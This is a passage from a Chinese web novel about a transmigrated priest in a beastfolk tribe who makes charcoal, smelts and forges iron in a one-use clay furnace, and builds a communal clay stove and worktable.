锻铁所需要的工具、材料均已备齐, 就差木炭和高炉。 先烧后闷,持续运作十日的窑炉已彻底降温。 差不多可以开窑了,花时安对这一批木炭还是很有信心的,坐在地上和黄泥, 挪都没挪一下,抬头对不远处敲矿石的女性兽人道:“长晴,你带几个人去开窑,尽快把木炭弄出来,我们马上要用。” 话音未落,绑着高马尾的年轻女生从人群中站起来。 部落为数不多的女性兽人,她名叫晴,后随兽形添了个姓,如今叫长晴。她约莫二十岁,相貌很是出挑,搁现代社会都会被星探递名片那种,一个不折不扣的浓颜系美人。 十多天的相处,花时安也看出来了,这位兽人在部落的地位相当高,仅次于族长和红勇。但与她极具攻击性的相貌完全不同,她的脾气非常好,从不发火,待人接物如春风化雨,对每个人都是温温柔柔的。 好似察觉到花时安探究的目光,刚准备离开的长晴转过头,盯着花时安的眼睛,和煦一笑,“祭司大人,我们没开过窑,有什么要注意的吗?” 总感觉眼神怪怪的,花时安没空细究,摇摇头道:“把那天封好的窑口打开,轻轻把木炭取出来。木炭没关系,别太用力折腾就没事,如果是陶器开窑,要注意别让泥渣掉下去。” “行。”长晴点点头,带着几个兽人前去窑炉。 人都走远了,岩知乐还伸长脖子在那瞅,花时安手一抬,往他鼻尖上抹了个泥点子,笑着调侃道:“看什么呢?哦~原来是在看长晴,怎么,喜欢那个漂亮姐姐?” “哎呀!” 岩知乐忙地用胳膊擦鼻子,白皙的小脸浮出一抹可疑的红晕。但他的嘴巴比铁还硬,梗着脖子理直气壮地反驳:“祭司大人你别乱说,我、我在看窑炉,我好奇烧了十天的木炭长什么样子不行吗?” 小心思都写在脸上,还装呢。 花时安看破不说破,抓了把干芦苇碎撒在黄泥里,轻声笑道:“行行行,赶紧和泥,一会儿木炭取出来就能看到了。” 其实也没那么好奇木炭,岩知乐偷摸瞄了花时安一眼,小心翼翼地试探道:“祭司大人,你说木炭是炼铁必备,很重要的东西对吧?这么重要的东西你应该亲自去看看呀,万一没烧好怎么……” “啪!” 裹满黄泥的手挨了一巴掌,岩知乐嘴巴一瘪,立马安静。 花时安瞪了他一眼,“烧炭比烧陶简单,怎么会失败。现在正是开窑的关键时刻,别乌鸦嘴。” 岩知乐:“那就更应该亲自去看啊!” 花时安:“是我不想吗,高炉还没做,赶紧和泥。” 如果说木炭是炼铁的关键材料,那高炉便是炼铁的必备器具。 没有其他窑炉那般复杂,古法高炉的构造非常简单,属于只要会玩泥巴就会做那种,有手就行。 材料也非常简单,只需要黏土和稻草,部落制陶有现成的黄泥,稻草花时安选择用晒芦苇来代替,提前叫人割了芦苇晒干,这会儿直接剁碎就能使用。 干芦苇剁碎掺入黄泥中,增强黄泥的可塑性与稳定性,加少量水反复搅拌,待黄泥与芦苇碎充分融合,整体呈半干不稀的状态,可以开始徒手垒高炉了。 先用锄头在草地上挖一个圆形坑,高炉做多大就挖多大,不用太深,铲掉草皮草根即可,确保高炉坐稳。然后就像捏陶坯一样,捧来调配好的黄泥,沿着圆坑边缘开始垒。 厚垒一圈,拍一拍,确保泥土夯实,真的很简单,但一点都不轻松就是了。说白了,高炉的最终形态其实就是一个下宽上窄的椭圆形大烟囱,但这玩意儿不能一口气垒到顶,因为马上要使用,他们必须边垒边放干柴进去烘干。 头顶太阳晒,炉中烟熏火燎,高炉才垒到膝盖高,岩知乐就受不了了,抬着胳膊擦汗,抱怨个没完:“哎哟我的天,好热好热,提前过上夏天了。这也太遭罪了祭司大人,我们为什么不提前垒好,一定要边垒边烤呢?” 好问题,其实花时安忘了,这是能说的吗? 当然不能说,花时安呼出一口热气,面不改色道:“哪有那么多为什么,炼铁的高炉就是要烤干才结实。” “真的吗?”岩知乐半信半疑,低头看着略显简陋的半成品高炉,忍不住又问:“木炭烧完,大窑炉也空出来了,我们能不能用大窑炉炼铁啊?大窑炉肚子大,一次能烧不少,那用现在这么麻烦。” 出发点是好的,但先别出发,花时安看着完全不知道炼铁是怎么回事的岩知乐,忽地笑了声,“先不说温度能不能达到,就算能达到吧,炼出来的生铁要在高温中取出来煅打,用大窑炉炼,你是想把窑炉拆了,还是想自己下去拿?” 根本没在怕的,岩知乐只听得到“拆了”两个字。 他从这两个字里品出一丝不妙,低头看看窑炉,倏地一抬头,一脸不可置信地看向花时安,“你的意思是,咱们垒这个高炉,一会儿也要拆了?” “对,”花时安点点头,“这高炉就是个一次性用具,炼一炉就拆了,不然你以为,这么简易的炉子还能重复使用?” 天塌了,用完就拆,那得垒多少个? 岩知乐有气无力地往地上一坐,瞬间没了精气神。 花时安:“行了行了,又不只是我们两个人干活,一会儿棉花种完,地里的亚兽人会过来帮忙的。别愣着,去把风箱和金竹拿过来,趁泥还没干赶紧装上去。” “哦哦,好吧。”岩知乐麻溜地跑去拿风箱。 高炉烤到半干,正是适合开洞的状态,花时安将手上的黄泥蹭在草地上,拿起事前带过来的石刀,沿着高炉底部开了一大一小两个洞,并将边缘涂抹光滑。 天然矿物存在一定的杂质,大洞是出灰口,用来漏炭灰、漏矿渣,以免高炉底部沉积过多,温度上不去;小洞是风孔,用来连接风箱,助于提高高炉温度。 提前掏空的金竹一端连接在风箱上,一端固定在高炉底部,一个简易鼓风设备也就安装好了。接下来花时安和岩知乐捧着泥土继续往上垒,直至高炉与花时安的胸口齐平。 终于完事了,往高炉中添了些干柴,两人跑到河边洗干净手,又匆匆往大窑炉那边走,前去验收耗时十天的木炭。 兽人们上上下下,在窑室中进进出出,黑乎乎的木炭陆续搬了上来,堆在绿茵茵的草地上尤为显眼。 说不紧张那都是假的,今天能不能炼上铁全看这一窑炭,花时安走在路上,面上波澜不惊,实际一颗心早就提到了嗓子眼。 木炭的形状没有太大变化,之前放进去什么样,现在还是什么样,保持着原木的大致形状。远远看着颜色也没问题,很纯粹的黑色,在太阳底下微微有点反光。 怀着忐忑的心情,花时安走到炭堆旁,兽人打招呼他也听不见了,二话不说抓起一根完整的木炭,双手握着横在身前。 抬起膝盖用力一顶,只听咔嚓一声脆响,木炭应声断成两截,簌簌落下炭渣。花时安举起断面仔细一瞧,木炭烧透了,纹理清晰,乌黑发亮,用手敲击时还有如金属碰撞的声响。 一连掰了三四根,根根如此,花时安肩膀一沉,神情肉眼可见地放松,绷成直线的嘴角扬起一抹愉悦的弧度。 大气都不敢出的岩知乐也跟着松了一口气,从花时安手中夺过半截木炭,学着他的样子用食指弹了两下,诧异地瞪大眼睛,“脆脆的,好神奇啊!怎么烧成这样了?一点都不像木头了,这是成了吗?” “当然成了。”花时安放下另半截木炭,拍了拍掌心沾上的炭灰,蕴含笑意的眸子闪过一丝得意,“早就说了,烧木炭比烧陶器简单,怎么可能失败。” “走了,拿背篓装木炭,炼铁去!” 花时安说完翘着尾巴走了,仿佛刚才紧张到掌心出汗的人不是自己。 第96章 第 96 章 铁器 高炉彻底烘干, 木柴尚未燃尽之际,长晴在花时安的指挥下,铲起用脚踩的块状木炭,从上方炉口中“哗哗”地倒了进去。 一铲、两铲……五铲木炭入炉, 长晴听从安排, 一铲碎铁矿, 少量碎石灰石,紧接着再加入木炭、铁矿……如此反复。 与此同时,风箱开始运转,兽人握紧把手推拉活塞,伴随呼哧呼哧的闷响,强而有力的风从出风口蹿出, 透过风道涌入高炉中。 炉内易燃又耐烧的木炭瞬间被火焰点燃,高温从下往上,无孔不入,将夹在木炭中间的铁矿与石灰石全方位包裹,灼烧杂质,无情炼化。 炼铁是一个漫长的过程,高炉不能一次性加满, 得少量多次慢慢加。根据花时安看过的古法炼铁纪录片, 再根据他们的高炉大小,他估计得三个小时左右。 一个人拉风箱, 一个人时不时铲下矿石, 这会儿真正干活的人只有两个,但边上站着一圈兽人围观。倒不是花时安浪费人力,主要炼铁这玩意儿太复杂了,三两句说不清楚, 必须自己看,亲自上手才能学会。 炼铁不费劲,煅铁可是力气活,遭罪的还在后头。 风箱一推一拉,火焰“哧哧”地往上冒,转眼便冲破炉口蹿在半空中,熊熊燃烧的烈焰将周围的空气都扭曲了,可见温度之高。 又该加炭、加矿石了,拉风箱的换了人,长晴也主动交出铲子,让跃跃欲试的兽人动手试一试。 记住比例,掌握时机,往高炉中加矿料这件事并不难。 唯一的难点在于,他们需要自己摸索技巧,如何避开蹿出高炉的火焰,从而避免被高温灼伤。 温度越来越高,高炉已然化作炙热的大火炉,正源源不断地释放热意。花时安和围观的兽人热得受不了,越退越远,而高炉边上干活的兽人无处可退,热出汗被烤干,热出汗又被烤干,反反复复,咬牙承受着高温的洗礼。 炼铁,也是炼人。 对饱受高温摧残的兽人而言,三个小时过得无比漫长,对翘首以盼等待结果的花时安而言,度日如年,度秒如日……脚边杂草都被他拔光了。 太阳升至正空,估摸着时间差不多了,花时安丢掉杂草噌地站起身,风风火火走回高炉边,叫停风箱,旋即对众人说道:“可以了可以了,准备开炉!” 轮了一圈又轮到长晴,她看着还在往外飘火焰的高炉,挑了下眉,诧异地看向花时安,“温度不低啊祭司大人,这怎么开?从里面把炼好铁拿出来?要不等温度降一下。” “是从里面拿,不过不是你想的那种。” 花时安说着便走向后方操作台,很快又拖着一把一米长的石锤走了回来,将石锤递给长晴,“从上面开始砸,往侧面砸,砸一大半应该就能看到铁了。” 祭司大人不等降温,自然有他的道理,长晴接过石锤,朝众人摆了摆手,“退后退后,往旁边走,离高炉远一点。” 花时安与兽人们齐齐退开,仅留长晴一人在高炉边。 沉甸甸的石锤在半空中挥舞,携着凛冽的破风声猛地砸向高炉,被高温炼化的泥炉硬如石头,随着“邦”的一声巨响,细密的裂纹爬满炉壁。 “邦,邦邦——” 石锤持续敲击,紧紧粘连在一起的泥壁逐渐松动。 又是一声巨响,水盆大的弧形泥块彻底与高炉分离,长晴用石锤泥块钩下来,落地的一瞬间,内壁烧得通红的泥块宛如烟花般炸开,灼热而滚烫的火星四散溅开。 破开一个洞,高炉内部光景清晰可见,怎么说呢,就像是沉寂已久的火山突然活跃起来了,炽热黏稠的“岩浆”在炉中翻涌跳跃,散发着令人无法靠近的高温。 长晴肆意挥洒着汗水,挥舞着石锤将高炉削去大半,正如花时安所言,可以看到铁了,炭灰矿渣中闪闪发光、比头顶太阳还要红的块状物正是此次煅烧出来的生铁。 高炉温度不够,不足以将铁坯融成铁水,炉中坑坑洼洼形似海绵的铁坯叫作生铁,又叫海绵铁。俗话生铁脆,熟铁软,海绵铁夹杂着大量杂质,冷却后硬度甚至不如石头,一敲就碎。 海绵铁无法制成任何工具,他们还需进行第二步,煅铁。 所谓煅,其实就是打,传闻中的打铁。 打铁要趁热,长晴将烧红的生铁夹出,放至操作台。与此同时,提前做好准备的兽人们拿着石块、石锤蹲在操作台旁,手中石块高高举起,对准铁坯重重砸落。 令人牙酸的声响持续回荡在草地,兽人们挥汗如雨,反复捶打铁坯挤出杂质,生铁冷却后回炉,再进行捶打…… 多次回炉,反复捶打,渐渐地,松松散散的海绵铁除去杂质,变成了两块纯度相对高、韧性强、可塑性强的熟铁。 精铁就别想了,这种熟铁已经是部落的终点。 熟铁块再次回炉,烧透后放至操作台,继续捶打。这次捶打不再是为了去除杂质,而是锻造,利用石锤改变铁块的形状,从而锤炼成工具。 一大一小两块熟铁,花时安目测了一下,大概有个七八公斤。他都想好了,大铁块锻成铁锤,有一把趁手的工具,后续锻造能方便一些;小一点的铁块锻成斧头,锻铁所需要的木炭不是一星半点,方便之后砍树。 至于刀、锯、刨、铁锹、锄头……慢慢来吧。 叮铃哐啷的声响一直持续到夜里,铁锤与斧头的形状并不复杂,但没有趁手的工具,锻造起来十分费劲,而安装把手的锤柄孔、斧柄孔就更难了,一凿一个不吱声。 天色彻底暗下来,营地那边都开始吆喝吃饭了,铁锤和斧头终于锻造好了。回炉再次烧红,花时安让兽人将锻造好的铁器夹到河边,浸入河水中完成最后一步——淬火。 劳累一天都饿着肚子,河边炼铁的人喊了好几次还不回来,木族长决定不等了,饭给他们留着就是了,其他人先吃。 人都快饿晕了,木族长打完饭就近挨着大族长坐,忙地夹起一筷香喷喷的野菜,可野菜刚挨到嘴唇,一声嘹亮的高呼从不远处传来。 “族长,大族长,成了,我们炼出铁了!” 炼铁小队回来了,花时安和一群灰头土脸的兽人匆匆跑回营地。 汗液与灰尘混杂,他们像是逃难回来的,一个比一个狼狈,但所有人脸上都是满满的自豪,洋溢着无法抑制的喜悦。 肚子突然就不饿了,木族长和大族长几乎同时放下碗筷,麻利地站起身,踩着夜色健步如飞地迎了上去。 沉甸甸的铁器尚有余温,两个人刚好一人一件,木族长和大族长一走上前,长晴立马将铁器递了过去,“看看吧两位族长族长,这就是我们一天的成果。” 木族长拿到的是铁锤,拿到手的第一感觉,沉,两个拳头那么点大的小东西,握在手里比石头还沉。 铁锤表面泛着一种独特的光泽,好似经年累月用手摩擦,盘到光滑发亮的鹅卵石。手感也很特别,不像石头、不像木头,和以前接触过的所有东西都有所不同。 这真是石头里炼出来的东西? 木族长越看越诧异,旋即与大族长交换,接过斧头来看。 这一看更不得了,木族长指腹拂过光滑的斧身,捏着那薄薄的斧刃,直接惊呼出声:“咋这么薄,怎么做到的?磨出来的?” 长晴笑了声,“磨还能轻松点,这个呀是打出来的,一石头一石头地砸,砸平,最后砸薄才算完事。” “不会碎吗?”大族长忙问。 长晴摇摇头,“不会。” “铁这种东西真的很神奇,我们用祭司大人说的方法烧它,把它烧红,它一下子变软了很多,这时候用石头来捶,反复捶打便可锻造成想要的形状与厚度。而冷却之后它又会变硬,大族长你可以试试,石头都能轻松敲碎。” 大族长如获至宝般攥着铁锤,眼睛顿时亮了起来,“好好好,这是个好东西啊!你们明天继续,不,明天我也去,咱们多炼点铁出来!” “哎,不对啊。” 一直拿着斧头研究的木族长发现了问题,他用拇指反复摩擦斧刃,一脸茫然地看向花时安,“时安,你不是说铁制作的刀斧比石头磨得更锋利吗?这、这怎么一点都不锋利,连我手指头都割不破。” 这个问题长晴也答不上来,于是花时安站出来答疑解惑:“刀斧锻造好还需要开刃,和石器一样,找一块粗糙的石头打磨,它就会变得锋利无比。今天太晚了,来不及开刃,斧柄锤柄也还没做,明天弄好了再拿给你们看。” 木族长拿着斧头往身后一背,“我要亲自磨。” 大族长:“你一把年纪别掺和了,快交给祭司大人。” “什么叫我掺和?你一把年纪还要跑去跟年轻人炼铁,我磨个斧头怎么了?” “我怎么着也比你年轻!” “哈哈哈……” “大家都辛苦了,饭在锅里留着,洗手洗脸吃饭!” “不辛苦,以后有比石器更好用的铁器了!” …… 高炉旁边守了一天,花时安都快被烤脱水了。 不过看着因铁器而兴奋欢呼的族人,一切都是值得的。石器时代慢慢过去了,他们越过青铜时代,正式步入铁器时代。 第97章 第 97 章 免费劳动力 跟着兽人们炼了三天铁, 把部落需要的小件铁器挨个儿锻造了一遍,花时安终于解脱了,放心将炼铁一事交由长晴。 忙起来时间过得飞快,转眼便进入夏季, 天一天比一天热, 在族人的精心打理照料下, 田间作物发芽抽条,长势一片大好。 清晨沿着田坎漫无目的地走一圈,花时安心情相当美妙。 蓝莓、蔓越莓花谢了,嫩绿色果实缀在枝头;肆意疯长的土豆与小腿齐平,土豆蛋在泥土里茁壮成长;韭菜割过一茬又长一茬,比周遭野蛮生长的野草还茂盛。 花时安重点关注的水稻慢慢超过膝盖, 像是进入了拔节期,可劲儿往上蹿,而通过它逐渐变宽、由深绿变为浅绿的叶片来看,再过不久就能孕育出花穗。 红薯抽藤开始横向生长,树鼩部落分给他们的小麦、糯稻、黄豆、花生……均已成功发芽。真想一键快进到收获季,到那个时候,琳琅满目的食物都不知道该先吃哪个。 真好啊。 他们有一个值得期待的未来。 从密林回来就开始连轴转, 突然间闲下来, 花时安还有点不习惯。 采集队一早就出门了,忙完部落琐事, 红勇带着一部分兽人扎进了森林。所有人都在忙碌, 花时安当然也不能揣着手玩,改造营地这事可以进行了,先从灶台开始。 溜达完一圈刚好走到门前草地,花时安望着乱糟糟的营地, 长叹一口气。东西太多了,又乱又杂,想垒灶台还得先收拾,先拆火塘。 这可不是一个人能完成的工作,先去找点帮手,花时安迈开步子刚想往窑炉那边走,忽然,一道中气十足的女声从身后传来。 “祭司大人,祭司大人稍等一下!” 注意力被农田吸引,忽略了周遭,花时安循着声源回头望去才发现,河岸斜对面也有着一群人在忙碌。 在兽人的指导下凿好树洞,树鼩部落于七天前搬到了河对岸。附近的植物他们只认识一部分,为此,头几天木族长特意派了两个亚兽过去,带着他们熟悉地形,辨别植物。 到这边快小半个月了,有了容身之处,有了果腹充饥的食物,他们似乎很适应这边的生活,干活的人也从原来的二三十个变成了五六十个。 外出采集食物、营地里编织竹具、盐泉边煮盐…… 他们照葫芦画瓢,学着穰穰部落的模式运转起来。 搬过来七天,河对岸草地多出数块规整的田地,瘦筋筋的兽人们分工合作,有的抡着锄头挥洒汗水,有的弯腰低头播种,有条不紊,忙而不乱。 叫住花时安的正是飞,不对,她现在有名有姓,叫树飞。 似乎从农田那边追着花时安一路跑过来的,树飞站在河岸边叫花时安,手里还握着一把石锄,气息略有些喘。 距离有点远,花时安往河岸边靠了一点,隔着一条河与树飞挥了挥手,笑吟吟地打招呼:“早啊族长,这么早就在翻地了?你们不打算去狩猎吗?” 树飞呼出一口热气,摇摇头道:“狩猎不着急,如今有野菜野果填饱肚子,肉就先不奢望了。听说你们的花生小麦都发芽了,我们也得抓紧时间种起来。” 门前留一片草地,田地分别挖在上下游,隔着一条河与穰穰部落的农田对齐,强迫症看了都觉得极其舒适。花时安扫了一圈,不紧不慢地抽回视线道:“十多块地了,应该快种完了吧?” “这才哪到哪,还不够!我们也要学你们那样,再从森林里挖点野菜和果子树回来种,以后家门口就能摘菜摘果子,想想都舒坦啊。”谈及未来,树飞明眸微闪,嘴角漾开笑意。 一口吃不成胖子,花时安想了想,多了句嘴:“多种点地固然是好事儿,但种子可不是丢下去就不用管了,往后浇水、拔草、施肥一样不能少,要精心照料、耐心打理才能有更多的收获。” “这些琐事也是需要人力的,而作物成熟之前,还得靠采集狩猎获取食物。你们才刚刚来,别贪多,路要一步一步地走。” 显然没想过这个问题,树飞捏着下巴陷入沉思。 好半晌之后,她若有所思地点点头,“我明白了祭司大人,稳扎稳打,一步步来。” 想到树鼩部落目前没有条件沤肥,花时安又补充了一句:“等种子破土而出,坐稳了根之后,你们可以在落叶厚的地方挖一些松软的泥土回来,撒在作物周围。那种土叫腐殖土,有营养,能促进植物生长。” 几句话的功夫,又学到了有用的知识,树飞面露喜色,忙地道谢:“谢谢祭司大人,我记下了。” 闲聊也聊得差不多了,花时安摆摆手表示不用客气,转身就打算走,而这时,树飞急急忙忙开口:“祭司大人,我、我有个事儿想和你商量一下。” “什么?”花时安脚步微顿。 似乎有点难以启齿,树飞摸了摸鼻头,抿了抿嘴唇,一秒钟八百个假动作。在花时安愈发不解的视线中,她终于做好了心理建设,深吸一口气道: “听说你们最近在捡石头,从石头里炼铁来制作工具对吗?我想问问,能不能也教一教我们炼铁?哦对,还有你们那陶锅、陶盆,我们也想学,主要部落工具太少了,不瞒你说,我们现在煮野菜都是……一点一点地煮,一部分人先吃,一部分人后吃。” 初来乍到,树鼩部落就只有一群人,要啥啥没有,就连之前凿树洞的石刀、石斧,就连树飞手里的锄头都是找大族长借来的。 两个部落面对面,以后低头不见抬头见,这些制作器具的方法本来也没打算瞒着他们,花时安几乎没有犹豫,抿唇笑笑道:“可以是可以,但炼铁不是一般的复杂,你们现在学了也没用,没那个时间去做工具、找材料。等以后吧,等你们部落稳定点,不愁吃喝再说。” 青叔和几个老人就在不远处捏陶坯,花时安回头看了一眼,继续对树飞说:“陶器倒是可以学起来,这个很实用,等下你叫几个人过来跟着学。不用急着挖窑炉,我们有现成的,我们不用的时候你们可以用。” “太谢谢了。”树飞肉眼可见地放松,隔着小河直直盯着花时安的眼睛,眸里浮现出一抹发自内心的感激,“帮了我们这么多,我都不知道该怎么感激你们,要不这样吧,我们做的工具分你们一部——” “别别别,”花时安果断拒绝:“我们不缺工具。以后在森林里看到没见过的植物或者动物,记得分享给我们就行。” 营地里还堆着好些小石锅,自打有了陶锅之后就没动过,放在那也是落灰,留几个大的当石臼,剩下的索性借给缺器具使用的树鼩部落。 事情谈妥,这下真该走了,但走出几步花时安忽然又想到一件事,赶忙叫住还未走远的树飞:“欸,族长!我等下准备教族人垒灶台,你们有没有兴趣?” 树飞步子一顿,面露疑惑,“灶台?” “就是煮饭的,更……精致一点的火塘?”花时安也不知道怎么解释。 树飞立马点头,“有兴趣,我等下多叫几个人过去!” 花时安嘿嘿一笑,“好哦。” 正愁人手不够呢,这不就有了。 俗话说得好,徒弟等于苦力,等于免费劳动力。 不光压榨树鼩部落的人,自己人压榨起来也毫不手软。 好不容易把高炉垒好,岩知乐和亚兽小伙伴刚走回营地,水都没喝上一口就被花时安抓了壮丁。 东拼西凑也有了十多个人,说干就干,花时安走到众人身前,立马开始安排:“你们几个去收拾东西,留几个大小不一样的陶锅,其他锅碗瓢盆、簸箕背篓全部搬到草地上去;你们三个去搬干柴,先搬到旁边树林里放着;你们去和泥,和垒高炉的泥一样,掺点芦苇碎进去。” “好的祭司大人!” “走走走,干活。” “我的天,这么大一山干柴,搬到什么时候去了?” “赶紧找背篓装,有时间抱怨不如多干点活。” 众人言听计从,吵吵嚷嚷地四散开来。 所有人都被花时安安排了事情,岩知乐除外。 他不急着问自己该干嘛,而是在意这件事本身,好奇地戳了戳花时安的胳膊,“祭司大人,又是搬锅碗又是搬背篓簸箕的,我们到底要做什么呀?” “你猜。”花时安卖了个关子。 岩知乐脑袋一歪,“搬家?” 这也太离谱了,花时安在他头上胡乱揉了一把,轻声笑道:“住得好好的,往哪搬?营地如今这样太乱了,我打算改造一下,先垒几个灶台,再盖个遮风挡雨的厨房和食堂。” 按理说应该先盖房子再修灶,但房子一两天根本盖不好,部落不可一日无灶,所以只能先把灶台搭好,等会儿拆了火塘至少要有个煮饭的地方。 “厨房和食堂是什么?”岩知乐听不懂就问。 “厨房是煮饭的地方,食堂是吃饭的地方。” 这下听懂了,但岩知乐不理解,“为什么要费这个劲?我们现在有地方煮饭吃饭啊。” 花时安侧目看向凌乱又狼藉的营地,不自觉地皱了下眉,嘴角却是微微扬起,“现在是有地方煮有地方吃,但再过不久又要进入雨季了,一个露天厨房,露天食堂,你是想在煮饭的时候加点水,还是想在吃饭的时候加点汤?” “当然这是次要的,就算不下雨我也想改造一下营地。森林情况复杂,住在哪里我们没得选,但如今日子越过越好,条件允许了,为什么不能让自己过得舒服一点呢?” 第98章 第 98 章 灶台 锅碗瓢盆搬走, 背篓簸箕搬走,干柴石锅搬走,火塘直接暴力拆卸,大块石头也搬走, 最后把柴灰清扫干净, 乱七八糟的营地渐渐变成了一个露天大广场。 开阔平坦, 干干净净,这下看着就舒服多了。 拆火塘搬石头累得要命,花时安原地歇了会儿,让其他人都去和稀泥,自己则带着岩知乐在靠近灌木丛那边铲泥土。 如若从上方俯瞰,营地呈一个不规则的正方形, 左侧边缘挨着族人居住的树洞,右侧与羊圈接壤,而上下两端,一边是尚未清理的灌木丛,一边挨着草地。 营地面积其实很大,他们之前没有认真规划,东堆一个火塘, 西放一个背篓, 又杂又乱所以显得不大,此时把东西搬空再看, 虽比不上足球场, 但比起篮球场还是绰绰有余。 花时安都想好了,厨房盖在灌木丛一侧,这边鲜少有人走动,不用担心炊烟, 地方不够大还可以往森林里面拓展,方便堆放柴火与杂物。 靠近草地这边人来人往,盖一个干净整洁的大食堂。 嗯,就这么办! 空地平坦但免不了有些坑洼,花时安和岩知乐一刻不停地挥舞着锄头,一点点将凸起的地方铲平,凹陷的地方填平。 垒灶台不需要打地基,地面修平整就可以开始动工了。 此时营地宛如一张空白画纸摆在面前,花时安放下锄头捡起木炭,提笔在画纸上描绘起来。 部落人多,一两个灶台,一两口锅肯定不够用,花时安打算整个大的,参考现代社会那种多功能组合式灶台,弄一个凹字形灶台。 凹这个形状就很妙,灶台稍微垒大一点,两边延伸出来的部分各开三个锅口,底部平面再开四个,这样一来就能有十口锅同时烹饪,再也不用担心食物不够分。 而添柴的灶膛开在凹字里面,烧火的人坐在凹陷部分,与外面烹饪族人互不打扰,唯一的坏处就是凹陷部分不够宽敞,无法堆放大量干柴。 但解决这个问题也不难,凹字缺口对面开一扇门,旁边加盖一间简易柴房,拿取方便,想放多少柴都可以。 柴房这事儿先放一放,今天的目标是灶台和操作台。 人家正儿八经的组合式灶台集案板、洗菜池、炉灶为一体,他们的灶台开十个锅口,只能煮饭,一点儿功能也不多,所以还要单独垒砌一个切菜、切肉的操作台。 这个花时安也想好了,操作台就砌在灶台对面,砌成一个浅一点的凹字形,中间留一条行道,切好肉菜转过身就可以往锅里倒,方便又快捷。 操作台还可以稍微砌高一点,底部掏空当橱柜,锅碗瓢盆有地方放,将来的油盐酱醋也可以塞在底下。 以竹为尺,以炭为笔,花时安很快便在空地上画好图纸。 砌灶台需要的泥也和好了,花时安把木炭一丢,立马带着一群亚兽忙碌起来。 火塘已经全部拆掉了,今晚能不能吃上热食全看他们。 垒灶台比垒高炉麻烦得多,虽然刚开始步骤差不多,掺杂芦苇碎的黏土沿着黑线往上堆,但刚堆出一点高度就要开始留灰膛,用一双手捏、掏、抹,在堆起来的厚泥墙上造一个柴火燃尽后漏灰的灰膛。 没有任何缓冲,灰膛做好紧接着就是灶膛,而后又是烟道,边砌灶台的主体,边掏塞干柴的灶口、干柴升温燃烧的火膛,最后抹平台面,掏出放锅的锅口。 亚兽人都是新手,现学现做,难免出错,为此角落砌到一半的灶台还拆了一次。虽然花时安没说什么,还反过来安慰他们,但犯错的亚兽羞红了脸,恨不得找个地缝钻进去。 从上午到日暮沉沉的傍晚,一群亚兽在营地中来回打转。 功夫不负有心人,在十多个泥人的共同努力下,终于,夕阳的余晖洒落下来时,空无一物的营地多出一个简易的凹字形灶台,一个土黄色浅凹形操作台。 边垒边烤,简易却不简陋的灶台已经完全干透,铺满小石子的台面被绚烂的霞光染成了橘红色,十个黑洞洞的锅口完美得好似艺术品,圆溜光滑,看不见一点瑕疵。 大部分时间都是亚兽人在做饭,灶台最终高度与中等身高的亚兽小肚子齐平。亚兽站在灶前刚好能够着锅,不用踮脚不用弯腰,比以前那种只能蹲着煮饭的火塘好用多了。 垒砌灶台的材料不单是黏土与芦苇碎,拆火塘还剩下一堆石子,花时安和亚兽把大个的挑出去,将小个且光滑的石子洗净,一个挨一个,严丝合缝地镶嵌在灶台和操作台的台面上。 石子嵌入黏土中,平平整整,摸着一点都不硌手,看着也……呃,看久了可能会有点密恐,毕竟石子太小,一个挨一个,密密麻麻的。 但石子镶嵌出来的台面比泥台面好打理多了,做饭时难免洒出来一些汤汤水水,泥面可能就浸进去了,而石面一擦就干净。 当然了,他们用时一天打造出来的灶台也有个缺点,不太耐用。虽然黏土中掺了芦苇碎,但泥土始终是泥土,比不上钢筋混凝土,天天高频率使用,坚持个一年半载顶天了。 其实要是想的话,花时安也能弄一个更结实的灶台出来,比如制作模具将黏土晒成泥砖,再用泥砖来垒砌灶台,不过那样太麻烦了,如今这个简易版灶台够用了。 因为一年半载后,他们应该有了属于自己的房子,每家每户都会拥有属于自己的独立厨房。 跟泥巴打了一天的交道,花时安和一群亚兽裹得跟泥人似的,不仔细看都认不出谁是谁。活儿干完了,该去洗一洗了,花时安朝小泥猴们招了招手,扯着嗓子大喊一声:“走了,洗澡去,等下洗完把柴火搬回来,一会儿又该准备晚饭了。” “好!” 亚兽人齐齐应声,跟着花时安往河边走。 一群人刚迈开步子,营地拐角忽然响起一阵凌乱的脚步声,紧接着便涌出一大群人。 鲜嫩翠绿的野菜、五颜六色的蘑菇、清甜可口的红薯……每个人都背着背篓,每个人身后的背篓都满满当当,木族长带领的采集队满载而归。 一只脚刚踏进营地,瞅见以花时安为首的十多个泥人,木族长步子一顿,诧异地挑了下眉。而越过人群看见空荡荡的营地,木族长猛地瞪大眼睛,提着背绳风风火火地冲到营地中央。 “什么情况,东西呢?我们的陶锅、背篓、簸箕去哪了?我走错地方了?这里是我们的营地吧?” 干完活回来家被搬空了,搁谁谁不慌? 澡暂时洗不了了,花时安走回营地,笑吟吟地站在木族长身旁,“族长你别急,东西在别的地方,我们今天把营地收拾了一下。” 听到这话,木族长松了一口气,但第二口气还没来得及松,他忽然又意识到什么,快速环视一圈,倏地转头看向花时安,“不是,你们把东西搬走收拾营地我懂,但火塘呢?我那么大几个火塘怎么不见了,今晚怎么煮饭?” “都说了别急,我还能让大家饿肚子不成?”花时安低低笑了一声,下巴微扬,抬手指向营地里侧,“诺,那就是我们的新火塘,名字叫作灶,我们十多个人花了一天垒出来的。” 光顾着找消失的东西,完全没留意到多出来的东西,这会儿循着花时安手指看过去,木族长这才发现营地里还矗立着两个半人高的大家伙。 远远看去像是两堵厚泥墙,形状奇特了点,和火塘压根沾不上边。木族长揣着疑惑往前走,站在尚未晒干的操作台跟前,无须花时安解释,看着光滑的石子台面,看着内侧有大有小的泥格子,他眼睛一亮,颤抖着手在操作台上点了点。 “做得真好啊,这是用来放东西的对不对?” “下面放东西,顶上这个大台面是用来切菜切肉的。”花时安走到操作台里面,双臂悬在台面上方假装切菜,“就是这样,族长你看,高度是不是正好合适?” 台面很宽,木族长站在旁边,学着花时安模样比画了两下,哈哈笑出声,“哎哟这玩意儿好使啊!高度正好合适,又能放东西又能切菜切肉,比蹲着干活轻松多了。” “不愧是你啊时安,脑瓜子真聪明,我虽然知道蹲着做事不方便,但要是让我想,想破头我都想不出这种东西!” 花时安摸了摸鼻子,“也不是我想的,就……” “外乡人对吧?”木族长笑着接话。 木族长只是神经大条,并不是傻子,外乡人这套说辞早已忽悠不到他。从各种植物到五花八门的工具、器皿,就花时安目前教会族人这些东西,外乡人和他说个三天三夜都说不完。 也许外乡人压根就不存在,但这又有什么关系呢?花时安所做的一切都是为了部落好,他如何知道,如何懂这么多,都不重要。 